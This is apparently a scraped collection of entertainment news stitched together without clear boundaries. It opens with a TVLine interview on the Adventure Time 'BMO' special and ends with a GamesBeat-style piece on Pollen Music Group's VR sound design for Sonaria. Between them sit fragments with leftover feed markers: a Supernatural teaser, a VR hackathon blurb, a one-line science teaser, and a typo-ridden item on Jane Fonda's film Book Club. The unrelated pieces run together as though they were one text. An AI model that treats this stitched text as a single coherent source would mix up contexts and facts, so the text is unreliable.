TVLINE | With only four episodes in Distant Lands, how did you decide which four characters — or pairs of characters — you were going to focus on?
That’s been one of the tougher parts, figuring out who to focus on, and how obscure is too obscure. There are a lot of characters who could do one-off episodes, but when it came to making this an hour-long thing, it felt like some of those might be too thin. BMO has been a pretty well-liked character from the beginning. The further on we go, that’s where it starts to get harder. At some point, it just starts being the show again, and we don’t want to encroach on what we did with the series. The real estate does feel more precious, so it would have been hard not to do something substantial with Princess Bubblegum and Marceline, and even Finn and Jake. If they didn’t show up at all, it would feel like we weren’t totally connecting it to the main story.
TVLINE | The one about Peppermint Butler going to wizard school sounds like the pilot of a show I know I would watch.
[Laughs] Yeah, that’s also something we realized while we were working on these. We had to build these worlds that felt like Adventure Time but also had to feel interesting enough on their own. We’re basically making four pilots for four different shows that we know will only go for one episode each. That’s a lot of work.
TVLINE | Realizing at the end of “BMO” that the whole thing took place before Adventure Time blew my mind. Did you know from Day 1 that you wanted to make “BMO” a prequel episode?
I don’t know if it was Day 1, but it did come to mind pretty early. We weren’t sure if it would find a space in the very end, like if it would still make sense by the time we broke the story and wrote the outlines. But that was one thing that managed to stay in. We wanted it to seem like this story could take place at any time; there’s not a lot of context at the beginning. We already established that BMO survived past the end of the series, so we were hoping that the fans’ natural assumption would be that this was set even further in the future. We didn’t want [that surprise ending] to feel like too much of a gimmick. You weren’t seeing [Finn and Jake] just to see them. It was the idea that BMO lived this long life before he met them, he just never talked about it.
TVLINE | I have to ask about a few fan theories, too. “Mr. M” has to be Martin, Finn’s dad, right?
[Laughs] It could be! I’ll probably leave it at that.
TVLINE | BMO is already on a mission when this starts. What is that mission? Do you have BMO’s entire backstory mapped out in your head?
Because he’s a pretty long-lived character, we don’t have his entire thousands of years of existence locked down. I think there’s a lot of room there to imagine. And there’s potential to explore it. But for the purposes of this episode, his mission is just to go to Mars and become a potato farmer. You have to take him at his word. That’s what he was told to do. Why was he told to do that? That’s something that’s still up for discussion.
TVLINE | Lastly, the BMO we see in the closing credits — Is he really in space in real life?
Yeah! I think it’s called the Astro BMO. That was built by Bob Herzberg, and he’s built BMOs before. Some of them have been featured in Cartoon Network things. He got connected with this program called the Quest Institute and they had a module that was going up in space … so he built a custom BMO that fit inside the module. I think it might be up there right now.
Your thoughts on “BMO”? Grade the special below, then drop a comment with your own burning questions.
https://pmctvline2.files.wordpress.com/2020/07/adventure-time-bmo.jpg
Discoveries about what makes our internal clocks tick could create new treatments for conditions like epilepsy, diabetes and heart disease.
]]>
Before this season of Supernatural is over, Jensen Ackles will be taking on a character other than Dean Winchester — and at the show’s PaleyFest event on Tuesday, TVLine gathered hints that it will be someone familiar to longtime fans.
Don’t be surprised if you’re strolling by the University of Southern California campus and you see see 400 people decked out in virtual reality headsets next week. The university is hosting Creating Reality, its first VR/AR hackathon. It’s a four-day event that’s sponsored by USC, Intel, Microsoft, AT&T, and HP. It will…Read More
]]>
The Hollywood icon may be 80 years old but she outclassed and outgunned women half and even a quarter her age on the Oscars red carpet at the weekend.
She was stunning and sexy in a Balamin white sheath and will be turning that sex appeal to good use in her upcoming new movie.
Riffing off the Fifty Shades books, Book Club follows Fond and three fellow superstar actresses as they navigate men, sex and dating in later life.
The new trailer reveals Fonda alongside Diane Keaton, Mary Steenburgen and Candice Bergen with some equally famous faces trying to get lucky with these timeless leading ladies.
Hollywood heartthrobs Don Johnson and Andy Garcia dust off their charming grins to woo the ladies with roses and fine wine, but some of the girls are hoping for something a little spicier.
Bondage, spanking and the uncontrollable effects of viagra show that age is just a number when the ladies are looking for loving.
Fonda made a quip about the Oscars stage design looking like a Barbarella set and she seems to have drawn inspiration from her flame-haired glory days for her new film.
She also flaunts her incredible figure when Bergen complains: “If women our age were supposed to have sex he would do what he does to our bodies.”
Fonda fires back: “Speak for yourselves,” as she preens and jokily plumps up her cleavage.
To which Bergen growls: “Now that wasn’t God, it was Doctor Nazari.”
Book Club follows four friends as they decide to read Fifty Shades of Grey and find their love lives reinvigorated.
While Fonda reignites a former passion with Miami Vice star Don Johnson, it’s Mary Steenburgen who pushes the boundaries with her hopes for a being tied up and a classically cheeky car scene involving her husband, viagra and a shocked traffic cop.
BOOK CLUB WILL BE RELEASED LATER THIS YEAR
The Pollen Music Group has done sound design and composed the music for over two dozen virtual reality films now, including Glen Keane’s Duet and Patrick Osborne’s Pearl, which is the first VR film to be nominated for an Academy Award. Most recently, it created Sonaria, a VR experience for the Google Spotlight Stories platform. Partnering with Chromosphere, it’s the first time Pollen has both directed the visuals as well as the sound. It’s available now on iOS and Android through the Google Spotlight Stories app, as well as on HTC Vive and the Oculus Rift through Steam.
Sonaria follows the journey of two seals in a colorful world filled with geometric creatures. It has a pleasingly minimalist aesthetic, and it’s meant to be a relaxing experience that’s largely driven by the environment’s sounds.
Pollen started in 2010, originally composing for traditional TV and film such as Pixar’s short Presto. In 2012, Presto‘s director Doug Sweetland was working on some projects for Google’s Advanced Technology and Projects (ATAP) group, and he introduced Pollen CEO Scot Stafford to the idea of 360-degree storytelling.
“I’d done some work in games and had an idea of what they might need, but I went in and met with [Sweetland] and Karen Dufilho, the executive producer at what is now Google Spotlight Stories,” said Stafford in a phone call with GamesBeat. “They showed me some tests where you used a phone like a magic window to a fully spherical 360 world all around you. We were following a mouse and a hat as it was involved this chase, as the wind is blowing the hat away from the mouse. I’d never seen anything like it.”
Since then, Pollen has worked on a number of VR projects for Spotlight Stories, which is an iOS and Android app that features VR films that viewers can experience using headsets like the Google Cardboard or Daydream. Sonaria came about because Pollen wanted to explore how sound and music can be even more immersive with six degrees of freedom in VR. Stafford wanted to put users on a “threshold between two worlds,” which they could traverse by just standing or sitting. It’s something that Pollen has experimented with before, such as in Pearl when the viewer is inside a car and can stand up with their head through the sunroof.
“So Sonaria started with, ‘What’s another type of threshold we could be on?’” said Stafford. “I came up with this idea of being underwater below the Antarctic ice shelf and following seals as they swim around below us, and then surface onto the top of the ice shelf. We can go up there with them. That turned into this journey as we follow these two creatures as they transform from simple life forms to more and more complex ones.”
To create the “stained-glass” aesthetic, Pollen partnered with Chromosphere and Kevin Dart, who was the creative director on the short film June. Stafford composed a brief piece of music to give Dart an idea of the kind of mood he was going for in Sonaria, some audio recordings of seals, and a quick sketch of a creature made up of teardrop shapes.
“The idea was to create a really minimal visual design language, and Kevin latched onto the teardrop shape and said, ‘What if this was the building block of life in this world we’re creating?’” said Stafford. “And so we went back and forth. He would send me these amazing designs of creatures, all over the map. How few teardrops do you need to make people think you’re looking at a frog, at a jellyfish, at a whale? It was this neat exploration of how much we can do with very little, visually, with the idea that the sound and music would be a lot denser and richer and fill in all the lines.”

Spherical sound design for VR has been a unique challenge, especially since Pollen had to create some of the tools it needed. Pollen lead recording engineer J.J. Wiesler says that at the start, it found a few pieces of software it could use. However, those were mainly intended for academic purposes and didn’t fit into the kind of workflow that sound designers and composers require. Spotlight Stories hired Pollen to develop its own tools, audio plug-ins that could be compatible with the in-house editing tool as well as industry standards such as Avid Pro Tools. It did so in partnership with Paul Neyrinck, whose company Neyrinck specialized in audio software.
“We started using them ourselves. It made things a lot easier,” said Wiesler. “We continue to evolve them, because as Scott mentioned, three degrees of freedom is now moving to six degrees of freedom. Because it’s so important that, when a user walks around an object that’s making sound, that sound stays attached to that character or object. And there still, to this day, is really no way to work with objects in a typical composer or sound designer’s environment.”
In VR, it’s crucial that the sounds create not only an immersive environment but convey enough information about where the viewer should look. Stafford says that half the challenge of VR sound design is technical and half is creative. On the creative side, it’s the fact that you’re designing an entire world but also culling it down so that it’s not sensory overload.
Like in traditional sound design, Wiesler says that Pollen has had to decide between realism and what it wants the viewers to hear, though VR is trickier because the sphere of sound is constantly going. But along with the challenges comes an added opportunity to use sound to direct the viewer’s attention and move things along.
“I think that VR asks us to at least keep in mind the physical and spatial reality of things a lot more than film does,” said Stafford. “It’s something you have to be really sensitive to. As far as how to choose which layers to focus on, choosing what to sound design, there’s also the way we mix things in real time to your headphones. There are ways to focus a mix. We can choose, for every sound, do we want it to taper off and become quieter the further off screen it goes? Is it such an important story point that we need it to be at full volume no matter what?”
One of the key points in Sonaria is crossing the threshold of dry land and underwater. The sound is completely different underwater, and Stafford says Pollen had to create its own technique for creating the transition when a viewer submerges or re-emerges from the ocean.
“I think we had seven different sounds for submerging and surfacing that would be triggered based on how quickly you stand and sit,” said Stafford. “We also needed to create what’s called procedural reverb, meaning it’s happening in real time. These is all real time effects. Nothing can be baked in. We needed to have the sound of things being very dry above the water, and then very wet and reverb-y below.”
Transitions contribute to the complexity of composing music for VR. It’s one of many challenges, which include trying to create a seamless experience, timing the emotional buildup when the player’s behavior is unpredictable, choosing between constant music versus moments of silence to allow background sounds to emerge.
“On the one hand, it’s nothing new. Mozart wrote nonlinear compositions that relied on the roll of dice, back in the 18th century,” said Stafford. “More recently we’ve had video games with time elasticity. You could easily say, with good reason, that video games have achieved a really theatrical experience. Many composers have tackled this challenge and done some amazing work. I would say it’s slightly different when you get into a pure film experience. You’re not doing anything. You’re a witness. This is what’s called gaze-based interactivity, where all we care about is where you’re looking.”

“We’re working on several projects right now. We can’t talk too much about them, but I would say that the move from three degrees of freedom to six degrees of freedom is a challenge that we’re still having a lot of fun trying to come up with different answers every time,” said Stafford.
The team is also looking forward to experimenting more with augmented reality and mixed reality. These offer a whole new way of looking at sound design, since it incorporates what’s happening around the player in the real world.
“I think there’s a long way to go for that, but it has a ton of potential,” said Wiesler. “Because it’s less isolating. The fact that you can hear all the sounds around you helps it be less, I don’t know—it makes you less uncomfortable, while VR still has that challenge to overcome. You can share the experience with a friend.”
No matter what challenges Pollen tackles next, it will continue making its own tools along with creating new sound-focused experiences.
“As a creative working in this world that’s also creating tech, it’s a bit like being the engineer of a train, and also throwing the tracks down in front of you as you go,” said Stafford.”
ENTER & WIN: Submit your PC game to the Intel Game Dev Program